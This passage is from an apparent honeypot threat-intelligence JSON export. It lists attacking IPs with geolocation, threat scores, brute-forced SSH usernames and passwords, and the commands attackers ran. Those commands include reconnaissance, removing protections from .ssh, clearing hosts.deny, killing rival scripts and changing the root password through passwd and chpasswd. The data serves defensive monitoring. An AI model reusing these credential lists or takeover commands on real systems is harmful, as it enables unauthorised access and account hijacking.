      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Orpington",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T06:26:04.517000+00:00",
        "last_seen_30d": "2026-03-09T06:27:21.429000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.217.149.12": {
      "attack_count": 2,
      "first_seen": "2026-03-31T09:07:15.724Z",
      "last_seen": "2026-03-31T09:07:15.988Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 29,
        "ports_targeted_30d": 273,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T15:55:05.553000+00:00",
        "last_seen_30d": "2026-03-31T09:08:25.620000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 277,
        "Honeytrap": 184,
        "Cowrie": 2
      }
    },
    "90.169.19.7": {
      "attack_count": 2,
      "first_seen": "2026-03-13T18:12:08.527Z",
      "last_seen": "2026-03-13T18:12:22.119Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Burgos",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T18:12:08.527000+00:00",
        "last_seen_30d": "2026-03-13T18:13:23.728000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "92.68.11.140": {
      "attack_count": 2,
      "first_seen": "2026-03-08T02:20:21.781Z",
      "last_seen": "2026-03-08T02:20:52.668Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 1136,
      "as_org": "KPN B.V.",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-08T02:20:21.781000+00:00",
        "last_seen_30d": "2026-03-09T16:51:35.512000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 10,
        "Cowrie": 2
      }
    },
    "87.106.213.49": {
      "attack_count": 1198,
      "first_seen": "2026-03-03T15:26:14.395Z",
      "last_seen": "2026-03-04T07:19:20.565Z",
      "sessions": 237,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "elastic",
        "es",
        "ftptest",
        "gerrit",
        "git",
        "hadoop",
        "master",
        "mysql",
        "oracle",
        "postgres",
        "test",
        "test1",
        "www",
        "zabbix",
        "search",
        "elasticsearch",
        "test2",
        "test3"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "passw0rd",
        "password",
        "admin",
        "elastic",
        "elasticsearch",
        "elasticsearch123",
        "es",
        "ftptest",
        "gerrit",
        "git"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1711,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T15:22:16.865000+00:00",
        "last_seen_30d": "2026-03-04T07:20:28.426000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1198,
        "Suricata": 513
      }
    },
    "103.189.235.33": {
      "attack_count": 894,
      "first_seen": "2026-03-17T17:41:17.986Z",
      "last_seen": "2026-03-28T06:06:54.392Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "g",
        "aa",
        "apexuser",
        "java",
        "mason",
        "modify",
        "omega",
        "roots",
        "ax",
        "b",
        "boom",
        "client",
        "downloader",
        "elastic",
        "go",
        "hadoop",
        "hduser",
        "m1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "12345678",
        "12345",
        "123456789q",
        "123@123Abc",
        "123asd",
        "123jiayou",
        "1qa@WS3ed",
        "202627",
        "A123456789.",
        "Ab123456",
        "Boom123!",
        "Downloader123",
        "Go123!",
        "Hadoop123",
        "IdcOffer.com"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\n7rMVmeaVuJD3\\n7rMVmeaVuJD3\\n\"|passwd",
        "echo \"12345678\\nHPidjA9FTo8L\\nHPidjA9FTo8L\\n\"|passwd",
        "echo \"123456\\nimMfgOvxYp5b\\nimMfgOvxYp5b\\n\"|passwd",
        "echo \"1234\\nxwkU8X8BsjgN\\nxwkU8X8BsjgN\\n\"|passwd",
        "echo \"Modify123\\ncVmA12atD9s6\\ncVmA12atD9s6\\n\"|passwd",
        "echo \"java1234\\nW0tvXOeULkxF\\nW0tvXOeULkxF\\n\"|passwd",
        "echo \"mason\\n4edYVweGjYmo\\n4edYVweGjYmo\\n\"|passwd",
        "echo \"root:MQtQlt9bd0F2\"|chpasswd|bash",
        "echo \"root:ZR3vKAm5CBOs\"|chpasswd|bash",
        "echo -e \"12345678\\n7rMVmeaVuJD3\\n7rMVmeaVuJD3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 46.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1076,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T17:41:17.986000+00:00",
        "last_seen_30d": "2026-03-28T06:07:54.945000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 894,
        "Suricata": 182
      }
    },
    "4.210.91.174": {
      "attack_count": 685,
      "first_seen": "2026-03-06T02:15:02.527Z",
      "last_seen": "2026-03-30T12:37:35.286Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jessica",
        "live",
        "readonlyuser",
        "teamspeak",
        "acer",
        "ahmad",
        "clawd",
        "daniel",
        "gw",
        "jellyfin",
        "legales",
        "localhost",
        "mob",
        "music",
        "pilot",
        "root1",
        "sm",
        "syj"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "password",
        "123",
        "123.abc.com",
        "1234",
        "123456",
        "12345678",
        "123456www",
        "159258357",
        "A11111111",
        "Admin2024!@#",
        "Admin@#123",
        "Cisco",
        "Gw123",
        "Jessica123",
        "Lf123456",
        "Live123",
        "News@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nocR36uaazk49\\nocR36uaazk49\\n\"|passwd",
        "echo \"12345\\nqUT9lt5fqC1f\\nqUT9lt5fqC1f\\n\"|passwd",
        "echo \"Jessica123\\nQy6Cb7jjKmJD\\nQy6Cb7jjKmJD\\n\"|passwd",
        "echo \"Live123\\naTprmXoiQXiN\\naTprmXoiQXiN\\n\"|passwd",
        "echo \"root:2y7QcPSxkx98\"|chpasswd|bash",
        "echo \"root:Tf9J4pGGUNRO\"|chpasswd|bash",
        "echo \"root:hBToHaNhy6YE\"|chpasswd|bash",
        "echo -e \"12345\\nocR36uaazk49\\nocR36uaazk49\"|passwd|bash",
        "echo -e \"12345\\nqUT9lt5fqC1f\\nqUT9lt5fqC1f\"|passwd|bash",
        "echo -e \"Jessica123\\nQy6Cb7jjKmJD\\nQy6Cb7jjKmJD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 59.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.1,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 814,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:15:02.527000+00:00",
        "last_seen_30d": "2026-03-30T12:38:43.737000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 685,
        "Suricata": 129
      }
    },
    "202.125.94.71": {
      "attack_count": 592,
      "first_seen": "2026-03-06T08:52:18.386Z",
      "last_seen": "2026-03-23T05:29:35.335Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "bot",
        "gw",
        "marcelo",
        "sammy",
        "stream",
        "x",
        "zabbix",
        "applmgr",
        "deploy",
        "eder",
        "efs",
        "ftpuser2",
        "host",
        "james",
        "jason",
        "jason1",
        "krishna",
        "leon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "123",
        "12345",
        "password",
        "123456",
        "20252025",
        "321",
        "@qwer2024",
        "@qwer2025",
        "Jason1123",
        "Ocs123!",
        "Root@123",
        "aa",
        "applmgr123",
        "bot123",
        "efspass",
        "gw123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n0Zi2F3rUlbBB\\n0Zi2F3rUlbBB\\n\"|passwd",
        "echo \"12345678\\nTDkdApNPIszd\\nTDkdApNPIszd\\n\"|passwd",
        "echo \"12345\\nds4YftpzsaiD\\nds4YftpzsaiD\\n\"|passwd",
        "echo \"bot123\\n7DQ3cnPQaO5I\\n7DQ3cnPQaO5I\\n\"|passwd",
        "echo \"gw123!\\nNNe9vG7qMuPi\\nNNe9vG7qMuPi\\n\"|passwd",
        "echo \"stream1234\\nigZfhIY0UcA9\\nigZfhIY0UcA9\\n\"|passwd",
        "echo -e \"12345678\\n0Zi2F3rUlbBB\\n0Zi2F3rUlbBB\"|passwd|bash",
        "echo -e \"12345678\\nTDkdApNPIszd\\nTDkdApNPIszd\"|passwd|bash",
        "echo -e \"12345\\nds4YftpzsaiD\\nds4YftpzsaiD\"|passwd|bash",
        "echo -e \"bot123\\n7DQ3cnPQaO5I\\n7DQ3cnPQaO5I\"|passwd|bash",
        "echo -e \"gw123!\\nNNe9vG7qMuPi\\nNNe9vG7qMuPi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 46042,
      "as_org": "Gunadarma University",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 697,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T08:52:18.386000+00:00",
        "last_seen_30d": "2026-03-23T05:30:38.171000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 105
      }
    },
    "165.154.6.136": {
      "attack_count": 416,
      "first_seen": "2026-03-12T20:23:24.708Z",
      "last_seen": "2026-03-27T20:07:16.284Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "joshua",
        "tom",
        "alfred",
        "arun",
        "bodega",
        "bryan",
        "claude",
        "in",
        "ljd",
        "mata",
        "mo",
        "pepe",
        "reolink",
        "salman",
        "su",
        "super",
        "trading",
        "vpnbot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "password",
        "12345",
        "123456",
        "1314520.",
        "1QAZXSW23EDC",
        "Bismillah1",
        "Hb123456@",
        "Hetzner1",
        "Matrix",
        "P@SSW0RD1",
        "Password123$",
        "Qazxsw123!",
        "Su123",
        "Tencent@2026",
        "Test123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nBLFuFnstnNsx\\nBLFuFnstnNsx\\n\"|passwd",
        "echo \"root:2nJL8sGCjRHV\"|chpasswd|bash",
        "echo \"tom123!\\n6genriReyHkP\\n6genriReyHkP\\n\"|passwd",
        "echo -e \"123456\\nBLFuFnstnNsx\\nBLFuFnstnNsx\"|passwd|bash",
        "echo -e \"tom123!\\n6genriReyHkP\\n6genriReyHkP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.3,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 541,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:23:24.708000+00:00",
        "last_seen_30d": "2026-03-27T20:08:23.322000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 416,
        "Suricata": 125
      }
    },
    "103.172.204.83": {
      "attack_count": 385,
      "first_seen": "2026-03-12T16:20:31.637Z",
      "last_seen": "2026-03-22T15:01:33.250Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "root",
        "openvpn",
        "ubuntu22",
        "anders",
        "asus",
        "ftp_test",
        "gitlab-runner",
        "hamza",
        "nginx",
        "nova",
        "patrick",
        "pavel",
        "showroom",
        "silvia",
        "squid",
        "victor",
        "vincent",
        "webadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123",
        "12345678",
        "Admin2020",
        "Gitlab-Runner123!",
        "KS@gshyx@zl1651",
        "Vincent123!",
        "anders123",
        "ftp_test",
        "hamza1234",
        "nginx",
        "nova@123",
        "pass123",
        "pavel",
        "qwerty",
        "silviapass",
        "victor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nckRIG9LEO7qf\\nckRIG9LEO7qf\\n\"|passwd",
        "echo \"password\\npCrF87fD1hpm\\npCrF87fD1hpm\\n\"|passwd",
        "echo \"qwerty\\nxIk6WKHfn2yD\\nxIk6WKHfn2yD\\n\"|passwd",
        "echo \"root:fEg2FJJLAUak\"|chpasswd|bash",
        "echo -e \"password\\nckRIG9LEO7qf\\nckRIG9LEO7qf\"|passwd|bash",
        "echo -e \"password\\npCrF87fD1hpm\\npCrF87fD1hpm\"|passwd|bash",
        "echo -e \"qwerty\\nxIk6WKHfn2yD\\nxIk6WKHfn2yD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 459,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:20:31.637000+00:00",
        "last_seen_30d": "2026-03-22T15:02:40.623000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 385,
        "Suricata": 74
      }
    },
    "112.217.188.122": {
      "attack_count": 382,
      "first_seen": "2026-03-07T16:03:02.420Z",
      "last_seen": "2026-03-24T17:10:04.293Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dspace",
        "elias",
        "testuser",
        "abcd",
        "admin",
        "adminer",
        "administrator",
        "airflow",
        "alpha",
        "beehive",
        "candy",
        "cody",
        "factura",
        "geoserver",
        "gianluca",
        "guest",
        "hotline",
        "lan"
      ],
      "passwords_attempted": [
        "password",
        "123",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "1234@qwer",
        "Lan123",
        "P@55W0rd",
        "Password1",
        "Shares123!",
        "abcd@123",
        "beehive1234",
        "elias123",
        "eve",
        "hotline123",
        "nora123",
        "obc"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nn7jRMd8Qu0Vw\\nn7jRMd8Qu0Vw\\n\"|passwd",
        "echo \"elias123\\nEqboovbTu5vn\\nEqboovbTu5vn\\n\"|passwd",
        "echo \"testuser@123\\noduh9KY7sVo3\\noduh9KY7sVo3\\n\"|passwd",
        "echo -e \"123\\nn7jRMd8Qu0Vw\\nn7jRMd8Qu0Vw\"|passwd|bash",
        "echo -e \"elias123\\nEqboovbTu5vn\\nEqboovbTu5vn\"|passwd|bash",
        "echo -e \"testuser@123\\noduh9KY7sVo3\\noduh9KY7sVo3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangju",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 41.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 478,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T16:03:02.420000+00:00",
        "last_seen_30d": "2026-03-24T17:11:08.608000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 96
      }
    },
    "74.48.131.204": {
      "attack_count": 350,
      "first_seen": "2026-03-21T07:46:41.359Z",
      "last_seen": "2026-03-21T08:16:37.655Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "hugo",
        "sql",
        "tomas",
        "abc",
        "alpha",
        "backupuser",
        "ethos",
        "grid",
        "pruebas",
        "slurm",
        "song",
        "system"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "Alpha123",
        "Asd12345678",
        "Pruebas123!",
        "Sql123",
        "abc@123",
        "backupuserbackupuser",
        "grid@123",
        "hugohugo",
        "slurm",
        "system@123",
        "tomas@123",
        "ww123456",
        "zxczxc123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Sql123\\n0VWKgDhj9OQf\\n0VWKgDhj9OQf\\n\"|passwd",
        "echo \"hugohugo\\n7OQWNJx2HPov\\n7OQWNJx2HPov\\n\"|passwd",
        "echo \"root:GNp4olQ2wtmX\"|chpasswd|bash",
        "echo \"tomas@123\\nowDSOLdRf5TP\\nowDSOLdRf5TP\\n\"|passwd",
        "echo -e \"Sql123\\n0VWKgDhj9OQf\\n0VWKgDhj9OQf\"|passwd|bash",
        "echo -e \"hugohugo\\n7OQWNJx2HPov\\n7OQWNJx2HPov\"|passwd|bash",
        "echo -e \"tomas@123\\nowDSOLdRf5TP\\nowDSOLdRf5TP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T07:46:41.359000+00:00",
        "last_seen_30d": "2026-03-21T08:17:43.857000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 52
      }
    },
    "165.154.6.89": {
      "attack_count": 336,
      "first_seen": "2026-03-04T21:19:47.736Z",
      "last_seen": "2026-03-26T07:56:11.431Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdel",
        "boom",
        "backend",
        "cardano",
        "demo",
